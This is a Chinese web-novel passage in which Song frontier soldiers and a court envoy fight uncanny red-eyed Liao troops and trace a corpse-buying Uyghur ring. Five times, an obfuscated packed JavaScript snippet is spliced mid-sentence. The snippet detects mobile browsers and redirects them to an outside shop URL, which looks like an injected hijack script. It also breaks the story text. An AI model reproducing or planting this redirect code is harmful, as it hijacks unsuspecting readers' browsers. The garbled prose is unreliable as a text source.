李在宥梦见自己骑个高头大马跟在魏无功身后,沿着易水河慢慢溜达。魏无功说要带他去找回鹘人,结果两人骑了很远,回鹘人的影子都没见到一个。他刚想催,魏无功突然回头“嘿嘿”一笑,提起他说“你自己去找吧”,把他扔进了水里……哗啦一声响动,李在宥一个激灵,醒了。 “什么鬼……”,李在宥扯了扯领口,穿着外衣睡觉让他十分不舒服,迷迷糊糊,突然听得外面一阵骚动。 “狼来了——”不知是谁喊了一声,伴随一阵马匹惊啼。他翻身下床出去凑热闹,刚推开门就看见一个黑影噌一下蹿过去了,不用想就知道是魏无功。 原来,是一楼拴马的厩子附近,有一群野狼路过。魏无功等人下去检查了一圈,马只是吓着了,没有少。沈仓在李在宥隔壁,也踱步从房间里出来,很疑惑地说了句:“怪了,夜里寨堡外圈都有火把,狼一般是不敢来的。” “哎呦我去,”楼下又是一阵骚乱,原来是不知哪里跑进来一只狍子,进了寨子看见这么多人,吓得乱蹦,又滑稽又诡异。 “快捉了它,上门的肉。”有人喊。 “今儿这些畜生是疯了吗?”沈仓不理解。 李在宥脑袋还没醒,口无遮拦来了句:“不会是阴兵来借道了吧。” 话音刚落,突然脚下一阵抖动,差点没站稳。 “嗯?地震?” 他扶了一把栏杆,头上墙砖扑簌簌掉下。 可惜,并不是地震将这些林子里的生物惊动了。 一阵密集的鼙鼓之声,在远处动地而来,声音雄浑沉闷,似巨人擂鼓,又仿佛大地惊雷。 “咚……咚咚……咚咚……” 那声音由远及近,以一个不太合理的速度压过来,捶得人耳膜跟心一起跳,分不清距离。李在宥想起了白天斥候说的话:雷声响了,厉鬼就要来索命了。 “出城迎敌!”沈仓大吼一声,立即披挂上阵。 李在宥还在发蒙,魏无功不知什么时候到他边上来了。“跟着我,”魏无功说,把沉重的甲胄往他头上一套。 大队人马出了寨,骑兵在前,步兵殿后,摆出防御的阵型。城寨依丘临水,十分坚固。即便准备周全,易水对面的情形,仍是出乎所有人意料。 河对岸,黑压压一排辽兵,在夜里居然真如故事里所说,不点火把,双目赤红,仿佛十殿阎罗。鼓点之外,四下无声,连风也停了,只有银色的甲胄在月光下闪着寒芒。 河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105029|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岸这边宋军有些骚动。沈仓脸色刷白,一眼就认出了这东西,但他不敢开口。若是主将未战先怯,那还怎么打。 “先放箭。”沈仓定了定神,对弓箭手下命令。 数十只带着火光的箭矢破空而过,齐刷刷射向对岸。这个距离不太能打得到人,但至少可以获得一些必要的视野。 火光之下,对岸的人脸一晃而过,沉默如鬼魅。绛色旌旗招展,隐约看见“赤焰军”字样。 “这是谁的军队?”李在宥小声问旁边的魏无功。魏无功摇摇头,表示没有见过。 在一片诡异的僵持之中,对面的鼓声突然停了。一个高大的人影骑着大马,从对面的列队中步了出来,双手搭弓、取箭、开弓一气呵成。 箭矢“嗖”一声穿风而过,居然直奔李在宥面门而来。还不待他反应,就感到身边魏无功腰背绷紧飞劈过去。随着一声金属撞击的锒铛声响,箭身被劈成两截儿插在地上。低头看去,箭尾绑着一个小小的纸团,上面的信笺十分眼熟,正是公主要交给阿尔斯兰的。 “什么意思这……”李在宥惊骇不已:“找我?” 箭镞落地,对面突然开始有了动作。那些黑夜的罗刹不寻浅滩、不架浮桥,而是就这么直直地踏入深冬的河流。行军疾快,踏水无痕。 沈仓能感觉到手下人的心理防线正在崩溃。不仅如此,这沉默的威压,也惊了镇戍军的马。骑兵营的驭马有些躁动,想要昂头跃起,挣脱缰绳。眼看着大军逼近,沈仓迟迟不下令,前军人马乱作一团,魏无功也急了。 “团练,上骑兵啊。”他看着沈仓说:“趁他们没上岸。” “这一打,要伤元气。”沈仓目光死钉对岸,想退守保存实力,但是幽云十六州尽失,易州刚打下来这片城,是大宋朝北境最后的脸面,他不敢不战而退。 “赤睛魔王……” “什么?”魏无功没有听清。沈仓却不肯再说话。 “不管了,”魏无功一个挺身,挽了圈花刀:“我先杀一个开开眼。” 一道黑影如离弦之箭,无视溃退的人流,猛地蹿了出去。留下李在宥原地傻眼。“虽然你这个样子很帅,但是……”李在宥整个人都不好了,心想:“说好的保护我呢?那个好吓人的魔头好像是冲我来的啊!” 8. 一血 魏无功想要在大军上岸前拿下一血。 一来是错对方锐气,二来是马匹上岸立足未稳,比较好截杀。 “既然都已经对上了,干脆收个大的。”魏无功舔舔嘴,盯上了刚刚射箭的那一个,看着像是个拽剌(辽军中的勇士、前锋)。既然答应了沈仓要保护李在宥,把要戳他的人杀了也是一种保护对吧。 魏无功握紧刀,将刀柄用左手的虎口死死卡住。能感觉到赤焰军的特殊,不光是视觉上的,更是一种血脉的压制,习武之人对此尤为敏感。 随着距离靠近,魏无功逐渐感受到一丝心悸,压住胸口闷闷的。他突然就理解了斥候的反应:时间仿佛凝滞,空气也变得粘稠,各种复杂的感官体验搅在一起,某种极为消极的情绪在悄悄浮上脑海。 他轻拍安抚了一下□□的马,然后双腿一夹,直奔射箭人而去。赤焰军正在登陆,魏无功按经验先斩马腿。砍了一刀下去发觉不对劲,手感坚硬无比不说,那马居然也不惊。他砍中后先稍稍后撤,留出一段距离,再重新提刀冲砍。这一刀他使了十二分的力,砍得那马身血肉纷飞,黑夜里看不清楚,只感觉有血溅在脸上,温的。 温的就好办,果然还是活物,活的那就杀得死。 战马沉默着踉跄了一下,倒了。拽剌随着战马一起跌进滩涂,魏无功瞅准时机,对着他脖子就是一刀。然而他反应极快,一只手直接握住刀刃,魏无功这一下子仿佛砍进木头里,虎口震得发疼。“空手?”他扯了一下刀,纹丝不动,这拽剌力气有点恐怖。 魏无功不敢托大,另一只手伸向腰侧,抽出收藏的一把胡刀,用劲掷了出去。匕首带着罡风,直插拽剌面门。拽剌沉默着用发红的眼睛锁住魏无功,竟直接掀开压在身下的马,重新站了起来。 “这不死?”魏无功愣了,终于后知后觉意识到,自己一人一马独冲过来怕是有点莽。他奇袭未果,反而和这拽剌僵持不下。好在沈仓已经迅速重振旗鼓,带着大部队在他后方奔袭接应。 “圆阵包围!”他听见后头沈仓喊。 镇戍军从来没有和这支军队交过手,尚不知道自己面对的究竟是什么。魏无功有转头提醒沈仓小心,但是四周的空气就像结了网,把他的喊声堵在里面传不出去,三丈开外的沈仓居然没听见。 李在宥紧紧跟在沈仓身侧,看魏无功一路碾压却未讨到便宜,也跟着着急。他已没了砍刀又没了匕首,此刻的境遇有些捉襟见肘。 “魏无功!接着!”李在宥大喊一声,将自己的佩刀扔了过去。 他算是看出来了,自己那点儿三脚猫的功夫,与其亲自上阵,还不如用大无畏的精神感化魏都头,让他赶紧回来保护自己来得划算。 结果,刀飞在半空,被一根长矛挑了出去。 “?!”李在宥十分震惊,他这颗战场的新星,是出师未捷,马上就要陨落了吗? 执矛那人骑马带笑,他并未着甲,只一袭玄色锦袍,兵荒马乱中竟带着几分闲庭信步的优雅。他望着李在宥: “回去告诉赵元贞,她的人办事不行,我只能亲自来了。” 李在宥愣了一下,被戳了脊梁骨,决定主打一个输人不输阵:“哟,我还以为你们都不会说话呢,原来长嘴了啊”。然而实际上他的腿肚子已经抖得不像话。 沈仓一看,立刻飞身迎上,与那黑袍人战作一团。这人和其他的赤焰军不一样,一看就是领头的。不仅能言语,神态也颇为正常,必须他亲自会会。 兵刃相接,铿锵有力。然而几招之后,玄衣人似失了兴趣。他虚晃一枪,格开沈仓的刀,淡道:“玩够了。”几名赤睛魔王从他身边应声而出,将沈仓拦在外围。 “没种!”沈仓啐了一口,对于那人不亲自上场的行为非常鄙夷。 那一头,李在宥回过神来,转去看魏无功,本来还担心他如何脱困,没想到这小子居然已经拿了一血。他提着拽剌的人头扔给李在宥,说了句“拿着”,顺手收回了自己的兵器。那把胡刀他还挺喜欢,是费了大力气缴来的,就冲这个他也得将人劈了。 李在宥捧着个头,有点想吐。 自从黑衣人隐匿了,赤焰军逐渐狂暴。 刚渡河的时候打架还有些章法,等完全上了岸,平地上,恐怖的战斗力得到完全展现。红眼睛像地狱里恒久燃烧的业火,悄无声息潜进身边,一招将人毙命。 李在宥猫着腰,尽量贴着魏无功,骑马经过一个半跪在地上的辽兵,看见他半边骨头翻在外面,鸡皮疙瘩起了一身。他附近另一个骑兵也看到了,大概是想捡个漏,快速超过李在宥的马,提起刀想收了人头,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105030|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没料想,那个看上去已经快不行了的人猛然抬起头,鲜红的眼睛锁定了目标,原地起跳,高高跃起,把想捡漏的骑兵连人带马刺了个对穿。 一阵心悸袭扰了李在宥,但他很清楚自己不是被吓的,而是靠近赤焰军会产生一种奇妙的反应。“不怕死、不怕疼,力大无穷……弹跳力也很惊人……有没有神志还看不大出来……”李在宥震惊于赤焰军的属性,不管如何伤中,只要尚能站起,依旧生猛,十分难缠,不论战术,光体力就能将人耗死。 “这还……是人吗?” 鼓点……黑夜……血色的眼睛……碎片的信息一一闪过他的脑海。在混乱中还有个意外的小发现:比起右手,魏无功似乎更擅用左手。这对于骑兵来说,是个不小的优势,双方人马对冲,他胳膊在另一侧使力,能打人一个措手不及。安全感一下子上去了,不错。 沈仓带兵有方,即使是面对行动轨迹异于常人的辽军,在尚有一战之力的情况下,并未退缩,勇气可嘉。只可惜,只有前军的骑兵是禁军正规体系下训练出来的,到了后面的步卒,基本上都是就地征召入伍的乡勇,等前军绞杀陷进去之后,很快溃散开来。 局势急转直下。包围圆阵被撕开一道道切口, “稳住!弓箭掩护!”沈仓指挥部队收缩防线,且战且退。短兵相接、矛戈相向,一片眼花缭乱。 混乱的人潮中,几乎人人挂彩。随着双方遭遇加深,宋军这边也逐渐出现一些异常现象:有一些受伤军人仿佛失心疯了一般,开始大声哭嚎,举止癫狂,不听号令,李在宥突然想起了地牢里那些中邪的人。 “是精神攻击,还是传染……好像是血液传染……”他低头瞧着手里的人头,血渍在月色下闪着细小的光。 魏无功半身染上血污,仿佛杀神降世。他对周遭的喊叫声熟视无睹,只是一味地挥砍。知道赤焰军的威力后,他出招直接下死手,能直接劈掉脑壳就绝不做多余的用功。李在宥在他后面战战兢兢地看,感觉自己既安全又不安全,生怕他杀红了眼,也跟着疯了。 “撤回城内!”沈仓终于下达了撤退的命令。已经尽力了,继续鏖战无意义。 很令他意外的是,赤焰军并没有乘胜追击。他们缄默着停留在河滩上,既不欢呼、也不嘲讽,只是目送着镇戍军溃退,如同深渊。 9. 走马承受 退回寨堡之后,沈仓第一时间去清点伤亡。 魏无功脸上黑乎乎的,刚想舔嘴,李在宥赶紧让他吐出来:“不能吞,血里有毒!”魏无功被他吓一跳,很没形象地一“噗”,拿袖子擦擦嘴,结果发现袖子也是脏的。 “你还是打水洗洗吧,”李在宥说:“那个血有点不对劲,伤口沾上了会发狂。”说着递给他一条贴身的帕子。 “矫情,”魏无功看了一眼帕子上精致的花鸟纹样,接了过去,但是没舍得直接放嘴上蹭。 “你没事吧?”李在宥问魏无功。 “没啊。”魏无功说。 李在宥还是凑过去,翻了一下他眼皮,顺便收获一个白眼。 “可以,眼神挺好。”李在宥说。 “这会儿又没有军医你装个屁。”魏无功无语。 “伤口呢,伤口有没有沾到赤焰军的血?”李在宥又问。 “……我没有伤口……” “真没有?” “没有。” “一点点都没有?” “……”魏无功把虎口伸出去,问:“你是非要找一点是吧,给你给你……” 李在宥抓起他的腕子:“这怎么搞的……” “震的。” “震的?”李在宥有点茫然:“不是说不是地震吗……” “什么鬼,”魏无功被他搞得莫名其妙:“我自己震的……”虎口有一点点开裂,但是核心原因是劲儿使大了在刀口上磨的,被人砍的没有。 “自己震?……哦……明白了,”李在宥才反应过来。战场上受了点惊吓,这会儿精神恍惚。他看着魏无功拿刀的手掌,手茧深厚,看来左手确实是惯用手。 “走走走,先去看一下那几个精神有点异常的士兵。”他也没松开手,直接拉着魏无功就往军医那里走。魏无功看着自己的手腕子,感觉怪怪的:怎么俩男的走个路要手拉手……这对吗这…… 军医那里,除了正常受伤的士兵,确实有几个出现疯症的,这会儿被单独隔离了出来,准备先送去地牢再通知家人。魏无功环顾了一圈,感觉伤亡情况比想象中的好。以赤焰军的战斗力,肯定没下死手,不知道意欲何为。沈仓一会儿肯定要打破砂锅问到底,不知道公子哥儿会不会老实交代。 李在宥蹲下来看其中一个骑兵,肩膀上一个箭矢的贯穿伤,叠加了砍杀的时溅的敌人血,在胳膊上形成一深一浅两个颜色。自己的血液已经凝固了,是浅褐色的,但是赤焰军血似乎成分特殊,依旧是半流动的状态,很黏稠。让魏无功想起了当时在易水河畔看到的血泪。 “辽军营子里,应该有英雄烟的源头。”李在宥说:“可惜就是不知道他们为什么不疯……”他回过头问魏无功:“诶,咱们军营里的兵,方便放点儿血看看吗?就一点点。” 魏无功没做声。那个手,好像还拉着……李祗候是这种画风吗?还是说城里人就是这样的…… “问你话呢!”胳膊被人晃了晃,终于是松开了。 “啊,行吧,悄摸儿的。” 两人刚想去地牢,传令兵过来喊人,沈仓已经忙完了,这会儿喊李在宥去问话。魏无功一脸看热闹的表情望着他,李在宥甩甩头拍拍脸,努力让自己清醒起来。 他跟着魏无功进了沈仓的房间。沈仓一个头两个大,说:“真是一波未平一波又起,刚接到朝廷的书信,有位贵人‘省亲路过’,要借寨堡一住。净添乱,这里刚打完,哪里来得及收拾……”他还没说完魏无功就“操”了一句。李在宥隐隐有个猜想,但是他没吭声。 “先不说这个,”沈仓说:“祗候那边是什么情况,为什么对面冲你来?”他沉着声音,听着点儿严厉。 李在宥清了清嗓子。他脑袋飞速盘算:镇戍军刚刚遭遇一次莫名其妙的伤亡,似乎和赵元贞有点关系。他自己也不确定这是赵元贞自己的举动还是朝廷的意思,因此不想节外生枝。 “閤门祗候是我对外的身份,朝廷正式挂职走马承受,有权风闻言事。”他想了个不容易被查的身份,并且把矛头甩给一个一时半会儿找不到的人:“我接到的密报,是军中有人通过回鹘商人阿尔斯兰,与辽军暗通款曲。” 沈仓久经行伍,听了脸色果然凝重起来:所谓的“风闻言事”,直达天听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105031|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,做事情根本不需要证据,随便一句话就能决定边将宠辱升降,来头果然不小。 “不过,”李在宥话锋一转,“这几日得见,镇戍军军纪严整、忠勇可嘉,沈团练也是忠肝义胆,白璧无瑕,只不过是被种种怪事临时打乱阵脚……” 他装腔作势咳嗽两声,对沈仓的反应很是满意:“至于那一箭,大概是对我探查的警告吧。” 沈仓和魏无功交换了一个眼神,两边都是将信将疑。 李在宥不愿纠缠,转移了话题:“至于扮作祗候到此,还有一件是因为您之前上书军中中邪一事,上头原是不信的。团练当务之急,是找到实证,堵住朝中非议之口,免得无端遭嫌隙。” 沈仓想了想,点点头说:“如何禀明朝廷,还请使臣指点。” “我感觉,还是先从血的事情入手好。今天有几个受伤军士,出现了中邪一般的疯症,这您也看到了,”李在宥打了个哈欠,只睡了半个囫囵觉,又受了些惊吓,这会儿有些精力不济。他站起来,在纸上写字,一边写一边整理思路: “先是魏都头查到英雄烟和回鹘人的关联,今夜又得知辽军与阿尔斯兰有联系,英雄烟又是他的买卖之一,这几件事先并作一头……”他在纸上圈圈点点,将几件事情连成线条。魏无功听到他心心念念的回鹘人,坐直了身体,虽然大字不识一个,也往纸上瞧,见他在阿尔斯兰名字那里重重画了几个圈。 “但是,尽管怀疑英雄烟的源头在北边,依旧不够,”李在宥想了想说:“血色、中邪和烟叶这几样东西互相间如何作用尚未可知,军中条件简陋,沈团练还是尽早将将拽刺的人头并上烟叶,送去京师查验的好。” “使臣的意思是,中邪、英雄烟和赤焰军可能怪出同源,这样回禀朝廷原本没错,但是,” 沈仓叹了口气,脑海中的旧事浮现,与易水河畔沉默的赤瞳重叠在一起:“我最担心的不是这个,而是民变呐……” “民变?”李在宥有点疑惑,怎么沈仓一下子上升到这么严重的问题了。 “使臣有所不知,今晚这支军队,我早年时间见过,那会儿还不叫赤焰军……而是叫,赤睛魔王。” 10. 食菜事魔 “六年前,我跟着童将军去平方腊……” 沈仓阖了眼睛靠在椅子上回忆,面色不怎么好看。 那一年,他刚当上禁军团练副使,正是春风得意的时候。十五万大军从京城挥师南下,直逼杭州。起义军寡不敌众,仓皇逃窜至梓桐峒的一处石涧中。 那是一处巍峨的山岭,隧洞幽深,初春天气还料峭着,瀑布水很胜,水汽在山间腾起七彩的霞晕。 “当时,他们已经是苟延残喘,不成气候了,”沈仓说:“我们兴冲冲架起扶梯,穿过瀑布,想要活捉方腊,押解归京。” “呈给皇帝的捷报上说,尽数俘获教众残党七万余人,就地斩杀。听起来很风光吧,”他苦笑着摇了摇头:“然而实际情况差之千里。” 多年过去他依然记得进洞时感受到的那种恐怖: 他为了争功,带着队伍打头阵冲进去。一过水帘就感到不对劲,洞里的血腥味儿浓得吓人。 走了几步,就看见洞口的地上散落着几句尸体,表情狰狞,死状奇异。肠肚都被掏的乱七八糟,身上也全是伤痕。一开始,沈仓他们怀疑是起义军内部起了内乱,互相残杀,但是仔细观察,看那些尸体的伤痕不像是斧钺刀镬能砍出来的,倒像是被野兽撕咬的。 越往前走,被撕碎的尸体越来越多。几个打头的兵开始心怯了。 一个当兵的问:“这么多尸体没人收,野兽不会还没走吧?”另一个当兵的想法更是渗人:“我看,没准儿方腊他们弹尽粮绝,自己人吃自己人。”但是细想起来也不无道理。沈仓环顾四周,看那些伤口并不尖锐,地上更无兽皮,如此看来,也确实很像。 不过很快,一个更可怕的念头逐渐浮现。 沈仓踩到了一块胡饼。 如果说是因为饥饿人相食,那这地上的粮食又作何解释?他想起宫廷里的传说,说什么方腊军团笃信邪教,“食菜事魔,夜聚晓散”,把灵魂卖给了西方的魔鬼…… “血!”先他半个身位的一个大头兵惊呼。溶洞深处,钟乳石倒挂凝成终年散不开的水汽,在地上汇聚成小小的水洼,此时混着人血,变成一滩红色的泥泞。 “沈副,这……”沈仓的几个兵都想打退堂鼓,但是洞中的路窄,后方部队已经跟上来了,纵使想掉头也难了。 “举火,慢行。”他低声命令。 越往深处,通道逐渐开阔,但地上的尸体也越来越多,而且死状愈发凄惨,连骨头上都留有深深的齿痕。更悚然的是,那些尸体全都穿着起义军的衣服,没有外力。有些尸体时间长些,已经烂到骨头,脓水流了一地,还有些很新,感觉是一场横跨月余的灾祸,尸气冲天。 穿过一个仅容一人通过的狭窄石缝,眼前豁然开朗——一个巨大的天然溶洞大厅出现在眼前。而大厅中的景象,喊一声人间炼狱也不为过。 大厅中央,横七竖八地堆满了尸体,如同一个乱葬岗。而在尸山血海中,有几个双眼赤红、浑身是血的人形怪物,正趴在地上,疯狂地啃食着那些骸骨。 “魔鬼……是魔鬼……是赤睛魔王!”沈仓身边的一个小兵喃喃着,他眼角的余光看见边上有人已经吐了。 “啊——”突然,洞穴视线看不到的更深处传来一声惨叫,在岩壁中混响。沈仓瞬间一个激灵,这场屠杀,居然还没有结束! “退,先退。”沈仓决定先拿个主意。然而窄缝外头,大部队的声音逐渐增大,在石缝外围聒噪不已,这声音惊扰了洞里的邪祟。几双眼睛抬起来,鬼火飘荡,逐渐聚集。 沈仓全部精神都在“赤睛魔王”身上,突然感觉有东西在碰他的腿,吓得他“嗷”一声一个飞踢。脚下传来一个微弱的痛呼,然而那人锲而不舍,顶着疼痛又爬回他的脚边。沈仓发现是人的时候,已经一身冷汗止也止不住。他举火把照过去,那人不是方腊又是谁? 方腊满脸血污,看到沈仓等人像是看到了救星,已经顾不得敌我,抓着他的腿不放:“将军救我!他们……他们都疯了,救救我们!” 机不可失,沈仓立刻安排手下带着方腊和他身边残存的几个核心党羽退出山洞。已经站不稳的方腊被拖拽着路过他身边的时候,他揪起他衣领问:“那些是什么东西!” “人……”方腊有进气没出气地说:“是变成怪物的人……” 掩护方腊等人撤退的功夫,几个赤睛魔王跟了上来。沈仓无意和他们交手,七万教众都抵不过,他们初来乍到的一群没怎么正规打过仗的兵又待如何。犹豫了一下是否要理会大洞深处可能的活人,他最终还是选择放弃。方腊已捉,剩下人等不再重要了。 “放火箭,”他下了命令。以尸为柴、以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105032|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血为油,将山洞烧了个干净,连带着看到的真相一同掩埋。 山洞前后狭长,信息视野不通。纵使沈仓等人出了洞奋力解释,洞内情形依旧不被全信。好在童贯见生擒了方腊,也懒得追究,欢欢喜喜带他赴京交差了。七万教众,活着出来的不过十二三人,着实唏嘘。 “那是我第一次见到那东西,一人可抵万军。”沈仓说:“可惜方腊回过神来只愿慷慨赴死,只字不提发生了什么,有些事情随着时间,也就不了了之了。没想到还能在相隔几百里的地方再见到……” “所以说,您是担心,作乱的不仅仅是回鹘人,而是其背后的摩尼教……”李在宥听明白了,回鹘人以摩尼教为国教,而方腊又打着该教的名义起事。沈仓作为老江湖,政治敏锐度极高,他不仅是担心英雄烟流毒,更怕邪教组织渗透,产生颠覆性事件。 “虽然不能直接把这几个回鹘人和摩尼教划等号,但是这其中的利害,我不敢不陈,”沈仓眉头紧锁,民变事大,折子上要小心措辞,稍有不慎要掉脑袋的。 “今天我将事情和盘托出,也是信任使臣的为人,”沈仓补了一句:“还希望使臣替我说几句好话……” “这是自然,自然,”李在宥连忙应下:“团练的为人天地可鉴,我自是与您一同上奏。” “我始终想不通,摩尼教的目的是什么。前后逾越五六年之久,一边助长辽军势力,一边荼毒我军将士,又暗中资助起义军队……”这得是多大一盘棋?沈仓越想越觉得瘆得慌。 “这就是上面大人们的事了,我们在基层的,只做力所能及的,先追一下阿尔斯兰的踪迹才好。”李在宥看了眼魏无功,对沈仓说:“之前答应了都头捉生,正好拿他试试。” 李在宥又嘱咐几句沈仓上报战况的措辞,沈仓安排人去地牢里取回人头,并吩咐小心包好,找个干净的匣子封装,准备明日一同寄出。李在宥和魏无功告别沈仓,分头回房间补觉,约定明天去搜寻阿尔斯兰下落。 一晚上信息量有点大,魏无功走在路上,一边琢磨李在宥的话,一边隐隐约约感觉哪里不对头。 “走马承受……走马承受……是什么官职来着……”他心里嘀咕着,下意识摸了一下自己的手腕子。 “等等,这个京城来的漂亮公子哥儿,不会是个太监吧?!” 11. 消失的尸体 第二天上午易河边落了点雪。李在宥刚起床,打开窗户,寻思着这时候烤个番薯应该挺美。结果楼下传来一声惨叫,吓了他一跳。他探头出去,发现是魏无功正在打人。 沈仓坐在边上不语,魏无功气得七窍生烟。底下人今晨回报说地牢的尸体不翼而飞,问他狱吏去哪里了,说也一同不见踪影。 “昨晚你干嘛去了!”他一鞭子打得那个小兵哭爹喊娘。“为什么今天才回报?”又是一鞭子下去,皮开肉绽鬼哭狼嚎的。可惜,无论怎么抽,小兵也只是承认偷懒没有立即办事,确实和狱吏没有一分钱私交。 李在宥连忙穿好衣服下去,边走边想起第一次下地牢看到的那个狱卒,以为他是见了军官紧张,搞了半天是另有小九九,大意了。 “算了,”沈仓叹了口气,感觉最近真诸事不顺,气多了都没脾气了。“你就是打死他也没用,先去查跑了的那个吧。” 魏无功仍是恶狠狠盯着绑在柱子上的小兵,啐了一口痰应了声“是”,把鞭子往地上一摔,披上手下递过来的外衣。 他转头看见李在宥戳在雪地里,表情还没收回来,原地愣了一下,视线从他的脸上缓缓移动到喉咙……啊,喉结还在啊…… “咳咳,”李在宥被他盯着有点不好意思,打了个招呼:“都头早啊,大早上怎么生这么大气啊。” “啊……”魏无功回神,“是,管教不力,办错了事。” “无妨,”李在宥说:“下雪天行踪可见,又是本地的乡勇,跑不了多远的。” “不是怕抓不到他,是……”魏无功想说是怕真有军士通敌,让李在宥怀疑沈仓,但是话说了一半,以他的情商不知道怎么收尾。光看喉结去了,又忘了过脑子。 “为了送还一个辽军的人头,犯不上以身涉险,”李在宥听出来了,看了一眼不远处往这边望的沈仓说:“我倒觉得,和回鹘人关系大一点。” 很快事情就有了一些眉目。果然不出李在宥所料,狱卒名叫牛二,就住在附近的团风村里,偷了尸体之后躲在村后头一片乱葬岗,半天就被人找到。魏无功带回地牢一顿拷打,不出一炷香的功夫就把知道的全交代了。 据牛二说,村子附近有些形迹隐约的回鹘商人,在高价回收辽兵尸体,尤其是眼睛能出血砂的。一具带血砂的尸体按市场价,抵得上他两年的军饷。自打他当上狱卒,趁职位之便,前前后后送去了几个,不过都不太符合,没卖出好价钱。看到昨晚那个明显出砂,便再也忍不住,连夜盗走了。 “回鹘人找你们做生意,怎么接上头?”李在宥捂着鼻子问。 “都是他们定期来村里,我们主动联系不上。”牛二哭着说。 “那他们收了尸体干什么用,又收去哪里你知道吗?” “干什么用不知道,大概知道他们落脚点在上游一处靠近辽军边境线的村子里,但是那个地方我们以前偷偷去看过,没找见人。” “那为什么这么确定回鹘人在那里?” “那个村子墙上画着日月图案,还有个很小的推倒了重建的圣火祭坛。” 牛二说的细节都对。回鹘人主要信仰摩尼教,其教义核心讲究光明和黑暗二元对立,崇尚火祭光明神(又称明尊),自前朝玄宗禁了该教之后,民间的信仰传播都是偷偷摸摸的,祭坛低小也合理。不过有大致的方位还是不够,回鹘人精得很。李在宥决定就地演示怎么捉生。 他叫人找来女人用的胭脂水粉、颜料、布匹和干馒头屑,又找了一具无人认领的尸体,化好妆,剃了个髡发、编了两股小辫儿。用后厨的盐巴混了红色颜料抹在眼睛上,然后让士兵给尸体换上辽兵的衣物,在衣领、袖口、鞋袜和甲胄缝隙里,塞了些草料混着的干馒头屑。 “你把这尸体让牛二带去交易,我们到时候就可以跟着沿路的碎屑,寻摸路线,”李在宥跟魏无功说:“不过保险起见,万一那些回鹘人搬运的时候直接脱去衣物,最好再找个附近的猎人借条狗,先熟悉一下尸体的气味。” 魏无功看着他没做声,思绪又飘远了:看他化妆这么细致,几乎可以以假乱真,不会真是太监吧……太监 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105033|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会有喉结吗?好像净身晚还是有的…… “喂,你有没有在听我说话。”李在宥戳他胳膊。 “啊,在听,”魏无功说:“我去找狗。” 李在宥伸了个懒腰,感觉有点尿急,说了一声去趟茅厕。魏无功下意识地就跟过去了,具体为什么他这么在意,他自己也说不清楚。 “你干嘛?”李在宥一回头看见个人。 “我也撒尿。”魏无功说,面无表情。 “哦……那……” “一起呗。” “……好。”李在宥有点莫名其妙。 两人一前一后沉默地走向营寨边缘简陋的公用厕轩,气氛诡异地和谐。茅坑上铺木板,气味不算好闻。魏无功看李在宥走到一个蹲孔边,很自然地开始解腰带。 是站着的! 魏无功放下心来,不知道为什么感觉有点想笑,也开始解腰带。 过了一会儿,他突然发现边上没出声儿。 嗯?没尿?魏无功又开始疑惑了,眼角余光忍不住往边上瞥。看李在宥没有尿的意思,心想果然是装的,还是太监,唉,可惜了。可惜了什么呢?他也不知道。 李在宥此时此刻人也麻了,旁边有人,他根本尿不出来!关键是那个魏都头,今天像是吃错了药一样老往他这边瞅,怎么地,要比大小吗!有没有边界感了还!臭流氓! 